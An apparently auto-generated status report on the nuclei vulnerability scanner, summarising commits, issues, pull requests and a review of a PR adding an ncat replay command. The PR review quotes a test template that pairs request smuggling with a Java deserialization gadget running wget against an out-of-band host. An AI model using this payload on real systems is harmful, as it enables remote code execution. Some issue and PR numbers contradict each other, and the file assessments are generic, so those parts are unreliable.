‹ Reports
The Dispatch

The Dispatch Demo - projectdiscovery/nuclei


Executive Summary

The Nuclei project, managed by ProjectDiscovery, is a high-speed, customizable vulnerability scanner utilizing a simple YAML-based Domain-Specific Language (DSL). It supports multiple protocols such as TCP, DNS, HTTP, and SSL, enabling rapid and accurate scanning across numerous hosts. The project is actively maintained with frequent updates and contributions from a broad community of security researchers and engineers. Currently, the repository boasts 17,716 stars, 2,279 forks, and 282 open issues. The project is on a positive trajectory with continuous improvements and active community engagement.

Recent Activity

Team Members

Recent Commits

Recent Pull Requests

Collaboration Patterns

The development team exhibits strong collaboration with frequent merges and reviews. Dependabot handles dependency updates, while core team members focus on bug fixes, feature additions, and internationalization efforts. Community contributions are evident in both code and documentation enhancements.

Risks

  1. CI Failures in Dependency Updates:

    • PRs #5252 and #5251 have CI failures that need addressing before merging. This could delay the integration of necessary dependency updates.
  2. Concurrency Issues:

    • PR #5187 addresses multi-thread execution problems. Given its complexity, thorough testing is essential to prevent resource exhaustion and crashes.
  3. Performance Concerns:

    • Multiple issues report timeouts and performance degradation during large scans or specific template executions (#5255, #5254). This recurring theme suggests potential scalability challenges.
  4. Template Validation Bugs:

    • Issues like invalid template validation (#4866) could impact scan accuracy, necessitating robust validation mechanisms.

Of Note

  1. Localization Efforts:

    • Active efforts to translate documentation into multiple languages (e.g., Spanish, Japanese) indicate a push towards global accessibility.
  2. New Feature Addition:

    • PR #5243 introduces an ncat command for replicating raw requests, enhancing the tool's versatility for specific testing scenarios.
  3. Proxy Configuration Issues:

    • Several issues highlight difficulties users face with proxy settings and network interfaces (#5183, #5182), suggesting a need for improved configuration guidance or tooling.

Conclusion

The Nuclei project is actively developed with strong community engagement and regular updates. While there are notable risks related to CI failures in dependency updates and concurrency issues, the project's trajectory remains positive with continuous improvements and internationalization efforts enhancing global usability. Addressing performance concerns and ensuring robust template validation will be crucial for maintaining the tool's reliability and scalability.

Quantified Commit Activity Over 14 Days

Developer Avatar Branches PRs Commits Files Changes
Tarun Koyalwar 1 1/2/0 2 38 994
Jorge Machado 1 1/1/0 1 5 381
Dogan Can Bakir (dogancanbakir) 1 1/0/0 1 15 165
dependabot[bot] 3 10/8/1 10 2 84
Mzack9999 2 0/1/0 3 5 75
Douglas Danger Manley 1 1/1/0 1 5 61
Sandeep Singh 1 0/0/0 2 3 36
Ikko Eltociear Ashimine (eltociear) 0 1/0/0 0 0 0
三米前有蕉皮 (cn-kali-team) 0 1/0/0 0 0 0

PRs: created by that dev and opened/merged/closed-unmerged during the period

Detailed Reports

Report On: Fetch commits



Project Overview

The Nuclei project, managed by ProjectDiscovery, is a fast and customizable vulnerability scanner that uses a simple YAML-based Domain-Specific Language (DSL). It allows users to send requests across multiple targets based on templates, ensuring zero false positives and enabling rapid scanning of numerous hosts. Nuclei supports various protocols, including TCP, DNS, HTTP, SSL, and more. The project is actively developed, with frequent updates and contributions from a large community of security researchers and engineers. As of the latest update, the repository has 17,716 stars, 2,279 forks, and 282 open issues.

Recent Activities

Commits in Default Branch: dev

2 days ago

  • Merge pull request #5248 from projectdiscovery/dependabot/go_modules/dev/github.com/projectdiscovery/useragent-0.0.54

    • Author: dependabot[bot]
    • Files: go.mod, go.sum
    • Changes: +3/-3 lines
    • Summary: Bumped github.com/projectdiscovery/useragent from 0.0.52 to 0.0.54.
  • Merge pull request #5250 from projectdiscovery/dependabot/go_modules/dev/github.com/projectdiscovery/hmap-0.0.45

    • Author: dependabot[bot]
    • Files: go.mod, go.sum
    • Changes: +3/-3 lines
    • Summary: Bumped github.com/projectdiscovery/hmap from 0.0.44 to 0.0.45.
  • chore(deps): bump github.com/projectdiscovery/useragent

    • Author: dependabot[bot]
    • Files: go.mod, go.sum
    • Changes: +3/-3 lines
    • Summary: Updated dependency to version 0.0.54.
  • chore(deps): bump github.com/projectdiscovery/hmap from 0.0.44 to 0.0.45

    • Author: dependabot[bot]
    • Files: go.mod, go.sum
    • Changes: +3/-3 lines
    • Summary: Updated dependency to version 0.0.45.
  • Merge pull request #5249 from projectdiscovery/dependabot/go_modules/dev/github.com/projectdiscovery/httpx-1.6.3

    • Author: dependabot[bot]
    • Files: go.mod, go.sum
    • Changes: +12/-12 lines
    • Summary: Bumped github.com/projectdiscovery/httpx from version 1.6.1 to version 1.6.3.

Tarun Koyalwar (tarunKoyalwar)

Jorge Machado (MachadoOtto)

Douglas Danger Manley (doug-threatmate)

dependabot[bot]

  • Merge pull request #5224 from projectdiscovery/dependabot/go_modules/dev/github.com/projectdiscovery/rawhttp-0.1.51

  • ...

Patterns and Conclusions

From the recent commit history, several patterns and conclusions can be drawn:

  1. Dependency Management: A significant portion of recent commits involves updating dependencies using Dependabot, indicating a strong focus on maintaining up-to-date libraries and tools.
  2. Collaboration: Multiple developers are contributing to the project with various focuses such as fixing bugs (e.g., Tarun Koyalwar's panic fix), adding new features (e.g., Jorge Machado's translation), and improving existing functionalities (e.g., Douglas Danger Manley's context fix).
  3. Community Contributions: The project benefits from contributions by both core team members and external contributors like Dependabot.
  4. Active Development: The frequent commits and merges show that the project is under active development with continuous improvements being made.
  5. Internationalization: Efforts are being made to make the documentation accessible in multiple languages, enhancing global usability.

This detailed analysis highlights the dynamic nature of the Nuclei project and the collaborative efforts driving its development forward.

Report On: Fetch issues



Recent Activity Analysis

Recent GitHub issue activity for the projectdiscovery/nuclei repository shows a mix of newly created issues and ongoing discussions. There are 282 open issues, indicating active development and community engagement.

Notable Anomalies and Themes

  1. Timeout and Performance Issues: Multiple issues (#5255, #5254, #5250, #5249, #5248) report problems with timeouts and performance, particularly when dealing with large scans or specific templates. This suggests a recurring theme where the tool's efficiency under heavy load is a concern.

  2. Localization Efforts: Issues like #5259 (Japanese README) and #5242 (Spanish README) highlight efforts to make the project more accessible to non-English speakers. This is significant for expanding the user base globally.

  3. Proxy and Network Interface Issues: Several issues (#5183, #5182) discuss problems with proxy settings and network interfaces, indicating that users are facing challenges in configuring these aspects correctly.

  4. Concurrency and Goroutine Leaks: Issues like #5191 and #5188 point out concurrency problems and goroutine leaks when using the SDK, which could lead to resource exhaustion and crashes.

  5. Template Validation and Execution: Issues such as #4866 (invalid template validation) and #5017 (internal extractor issues) indicate that there are still bugs in how templates are validated and executed, which could affect scan accuracy.

  6. Interactsh Synchronization: Issue #4980 discusses synchronization issues with Interactsh results, causing duplicate outputs. This suggests a need for better handling of asynchronous interactions.

Issue Details

Most Recently Created Issues

  1. #5260: CVE-2023-25157 is blocking nuclei

    • Priority: High
    • Status: Open
    • Created: 0 days ago
    • Updated: 0 days ago
  2. #5259: docs: add Japanese README

    • Priority: Low
    • Status: Open
    • Created: 0 days ago
    • Updated: 0 days ago
  3. #5258: Authenticated scan via secret file not working

    • Priority: Medium
    • Status: Open
    • Created: 0 days ago
    • Updated: 0 days ago
  4. #5257: Path, Query Variables not populated in response variables

    • Priority: Medium
    • Status: Open
    • Created: 0 days ago
    • Updated: 0 days ago
  5. #5256: [FTL] Could not run nuclei: no templates provided for scan

    • Priority: High
    • Status: Open
    • Created: 1 day ago
    • Updated: 1 day ago

Most Recently Updated Issues

  1. #5234: Skipped website:443 from target list as found unresponsive 30 times after using v3.2.7

    • Priority: High
    • Status: Closed
    • Created: 7 days ago
    • Updated: 6 days ago
  2. #5236: Fix ExecuteCallbackWithCtx to use the context that was provided

    • Priority: Medium
    • Status: Closed
    • Created: 7 days ago
    • Updated: 5 days ago
  3. #5241: Inclusion of the Spanish translation of the README

    • Priority: Low
    • Status: Closed
    • Created: 5 days ago
    • Updated: 2 days ago
  4. #5242: Add Spanish translation of README

    • Priority: Low
    • Status: Closed
    • Created: 5 days ago
    • Updated:: 2 days ago

Report On: Fetch pull requests



Analysis of Pull Requests for projectdiscovery/nuclei

Open Pull Requests

PR #5259: docs: add Japanese README

  • State: Open
  • Created: 0 days ago
  • Summary: Adds a Japanese translation of the README.
  • Comments: Positive feedback from Georgina Reeder.
  • Files Changed:
    • README.md (+3, -1)
    • README_JP.md (added, +172)
  • Notable: This is a new contribution and looks straightforward with no issues.

PR #5252: chore(deps): bump github.com/projectdiscovery/dsl from 0.0.57 to 0.1.1

  • State: Open
  • Created: 2 days ago
  • Summary: Updates the dependency version of github.com/projectdiscovery/dsl.
  • Comments: CI run failed; Dependabot will merge automatically if amended and tests pass.
  • Files Changed:
    • go.mod (+1, -1)
    • go.sum (+2, -2)
  • Notable: The failure in CI needs to be addressed before merging.

PR #5251: chore(deps): bump github.com/projectdiscovery/fastdialer from 0.1.0 to 0.1.1

  • State: Open
  • Created: 2 days ago
  • Summary: Updates the dependency version of github.com/projectdiscovery/fastdialer.
  • Comments: CI run failed; Dependabot will merge automatically if amended and tests pass.
  • Files Changed:
    • go.mod (+2, -2)
    • go.sum (+4, -4)
  • Notable: Similar to #5252, the CI failure needs to be resolved.

PR #5243: Add ncat command to replicate raw request

  • State: Open
  • Created: 4 days ago
  • Summary: Adds an ncat command for replicating raw requests.
  • Comments: Positive feedback from Georgina Reeder.
  • Files Changed:
    • pkg/protocols/http/request.go (+47, -7)
  • Notable: This is a significant feature addition and should be reviewed thoroughly.

PR #5228: introduce timeout variants

  • State: Open
  • Created: 8 days ago
  • Summary: Introduces timeout variants.
  • Comments: Review comment suggesting validation of options.Timeout.
  • Files Changed:
    • Multiple files with changes mainly adding timeout handling.
  • Notable: Needs further review and testing to ensure robustness.

PR #5187: Fixing issues with multi-thread execution

  • State: Open
  • Created: 20 days ago, edited 6 days ago
  • Summary: Fixes multiple issues during SDK usage.
  • Comments: Detailed review comments addressing shared resources and memory leaks.
  • Files Changed:
    • Multiple files with substantial changes for fixing threading issues.
  • Notable: Critical for stability; requires thorough testing.

PR #5139: Fuzzing additions & enhancements

  • State: Open
  • Created: 32 days ago, edited 14 days ago
  • Summary: Adds several enhancements for fuzzing capabilities.
  • Comments:
    • Added skipping parameters after certain frequency of no issues found.
    • Added configurable aggression level to fuzzing payloads.
  • Files Changed:
    • Multiple files with significant changes for fuzzing enhancements.
  • Notable: Important for improving fuzzing capabilities; needs detailed review and testing.

Closed Pull Requests

PR #5250: chore(deps): bump github.com/projectdiscovery/hmap from 0.0.44 to 0.0.45

  • State: Closed (Merged)
  • Created/Closed Dates: Created and closed within the same day.
  • Summary: Dependency update for github.com/projectdiscovery/hmap.

PR #5249: chore(deps): bump github.com/projectdiscovery/httpx from 1.6.1 to 1.6.3

  • State: Closed (Merged)
  • Created/Closed Dates: Created and closed within the same day.

PR #5248: chore(deps): bump github.com/projectdiscovery/useragent from 0.0.52 to 0.0.54

  • State: Closed (Merged)

PR #5242: Add Spanish translation of README

  • State: Closed (Merged)

PR #5236: Fix ExecuteCallbackWithCtx to use the context that was provided

  • State: Closed (Merged)

PR #5230: fix panic on failed raw request

  • State: Closed (Merged)

PR #5224 through PR #5115:

These are mostly dependency updates or minor fixes that were merged quickly without notable issues.

Notable Issues

  1. Several dependency update pull requests (#5252, #5251) have CI failures that need resolution before merging.
  2. The open pull requests related to multi-threading (#5187) and fuzzing enhancements (#5139) are significant and require thorough testing and review due to their complexity and impact on the system's stability and functionality.

Recommendations

  1. Prioritize resolving CI failures in dependency update pull requests (#5252, #5251).
  2. Conduct detailed reviews and extensive testing for complex feature additions like multi-thread execution fixes (#5187) and fuzzing enhancements (#5139).
  3. Ensure new features like the ncat command (#5243) are well-documented and tested before merging.

By addressing these areas, the project can maintain stability while integrating new features and improvements effectively.

Report On: Fetch PR 5243 For Assessment



PR #5243: Add ncat command to replicate raw request

Summary

This pull request introduces a new feature to the projectdiscovery/nuclei repository by adding the ncat command to replicate raw HTTP requests. This enhancement is aimed at providing an alternative to the existing curl command for users who need to replicate raw requests more precisely.

Changes Overview

  • File Modified: pkg/protocols/http/request.go
  • Lines Added: 47
  • Lines Removed: 7

Detailed Analysis

Code Changes

  1. Imports:

    • Added net/url package to handle URL parsing.
  2. Modification in executeRequest function:

    • The logic for generating the curlCommand has been extended.
    • A new block handles the generation of an ncat command if the request is unsafe and a raw request is present.
    • The ncat command is constructed by iterating over the raw request bytes, escaping them appropriately for bash, and appending them to a formatted string.
    • URL parsing is used to determine the host and port for the ncat command, with SSL support if the scheme is HTTPS.
  3. New Function:

    • bashEscape: A utility function that escapes non-printable ASCII characters and quotes for safe inclusion in bash commands.

Test YAML

A test YAML file is included in the PR description, which seems to be designed to verify the new feature:

id: test

info:
  name: Ncat Command Test
  author: x
  severity: high
  description: |
    Ncat Command Test Template
  metadata:
    verified: true
    max-request: 1
  tags: raw

http:
    - raw:
      - |+
        GET /test1 HTTP/1.1
        Host: 192.168.83.196:8081
        Content-Length: 42
        Transfer-Encoding: chunked

        0

        GET /test1 HTTP/1.1
        Host: 192.168.83.196:8081
        X: GET http://192.168.83.1:8080/admin.jsp HTTP/1.0

        {{generate_java_gadget("commons-collections3.1", "wget http://{{interactsh-url}}", "raw")}}

    unsafe: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:

Code Quality Assessment

Pros:

  • Functionality:

    • The new feature adds significant value by allowing users to replicate raw requests using ncat, which can be crucial for certain testing scenarios.
  • Code Structure:

    • The code changes are well-organized and follow a logical flow.
    • The introduction of a helper function (bashEscape) improves readability and reusability.
  • Error Handling:

    • The code includes error handling for URL parsing, ensuring that defaults are used if parsing fails.

Cons:

  • Complexity:

    • The construction of the ncat command involves multiple string manipulations and byte operations, which could be simplified or better documented.
  • Testing:

    • While a test YAML is provided, it would be beneficial to include automated tests within the repository to ensure continuous validation of this feature.
  • Documentation:

    • The PR mentions that documentation has been added, but it's not clear from the diff. Ensure that user-facing documentation is updated to explain how to use this new feature.

Conclusion

Overall, PR #5243 introduces a valuable feature with well-thought-out code changes. However, there are areas for improvement in terms of complexity reduction, testing, and documentation clarity. Once these aspects are addressed, this PR would be a strong candidate for merging.


Recommendations:

  1. Simplify String Manipulations:

    • Consider refactoring the ncat command construction for better readability.
  2. Automated Tests:

    • Add automated tests to validate this new functionality as part of your CI/CD pipeline.
  3. Documentation:

    • Ensure comprehensive user documentation is available to guide users on how to utilize this new feature effectively.

By addressing these recommendations, the PR will not only enhance functionality but also maintain high standards of code quality and usability.

Report On: Fetch Files For Assessment



File Analysis

1. go.mod

Structure and Quality:

  • Module Declaration: The file starts with the module declaration, specifying the module path.
  • Go Version: Specifies the Go version required for the project (go 1.21), which ensures compatibility and leverages the latest features and improvements in Go.
  • Dependencies: Lists all dependencies with their respective versions or commit hashes. This is crucial for reproducibility and dependency management.
  • Indirect Dependencies: Also includes indirect dependencies, which are dependencies of dependencies, ensuring a comprehensive dependency graph.

Observations:

  • The file is well-structured and follows the standard format for Go modules.
  • Dependencies are explicitly listed, which aids in clarity and dependency management.
  • The use of specific versions or commit hashes ensures that builds are reproducible and consistent.

2. pkg/protocols/http/httpclientpool/options.go

Structure and Quality:

  • Package Declaration: Declares the package httpclientpool, indicating its role in managing HTTP client pools.
  • Imports: Imports necessary packages, including standard libraries and internal packages.
  • Constants and Variables: Defines constants and variables for default values and configurations.
  • Structs: Defines structs like Options to encapsulate configuration options for HTTP clients.
  • Functions: Implements functions to manipulate and retrieve options, ensuring encapsulation and modularity.

Observations:

  • The code is modular, with clear separation of concerns through the use of structs and methods.
  • Constants are used for default values, enhancing readability and maintainability.
  • Functions are well-documented with comments, aiding in understanding their purpose and usage.

3. lib/sdk.go

Structure and Quality:

  • Package Declaration: Declares the package lib, indicating it contains core library functionalities.
  • Imports: Imports necessary packages, including standard libraries and internal packages.
  • Structs and Interfaces: Defines key structs and interfaces that form the core SDK functionalities.
  • Functions: Implements core functions that provide the main capabilities of the SDK.

Observations:

  • The file is well-organized, with clear separation between different components (structs, interfaces, functions).
  • Functions are documented with comments, explaining their purpose and parameters.
  • The use of interfaces enhances flexibility and testability by allowing different implementations.

4. cmd/nuclei/main.go

Structure and Quality:

  • Package Declaration: Declares the package main, indicating this is the entry point of the application.
  • Imports: Imports necessary packages, including standard libraries and internal packages.
  • Main Function: Implements the main function, which initializes and runs the application.
  • Command-Line Flags: Defines command-line flags for configuring the application at runtime.

Observations:

  • The file follows Go conventions for a main package, with a clear entry point (main function).
  • Command-line flags are well-documented, providing users with information on how to configure the application.
  • Initialization logic is encapsulated within functions, promoting modularity and readability.

5. pkg/core/executors.go

Structure and Quality:

  • Package Declaration: Declares the package core, indicating it handles core execution logic.
  • Imports: Imports necessary packages, including standard libraries and internal packages.
  • Structs: Defines structs like Executor to encapsulate execution logic.
  • Functions: Implements functions to manage execution tasks, ensuring modularity and encapsulation.

Observations:

  • The file is well-organized, with clear separation between different components (structs, functions).
  • Functions are documented with comments, explaining their purpose and parameters.
  • The use of structs to encapsulate execution logic enhances modularity and maintainability.

General Observations

  1. Code Quality:

    • The code across all files adheres to Go conventions and best practices.
    • Functions are well-documented with comments, aiding in understanding their purpose and usage.
  2. Modularity:

    • The use of structs and interfaces promotes modularity, making the codebase easier to maintain and extend.
  3. Dependency Management:

    • Dependencies are explicitly listed in go.mod, ensuring reproducibility and consistency in builds.
  4. Documentation:

    • Comments are used effectively to document functions, parameters, and return values.
  5. Readability:

    • Code is organized logically with clear separation of concerns, enhancing readability.

Overall, the codebase demonstrates high quality in terms of structure, documentation, modularity, and adherence to Go conventions.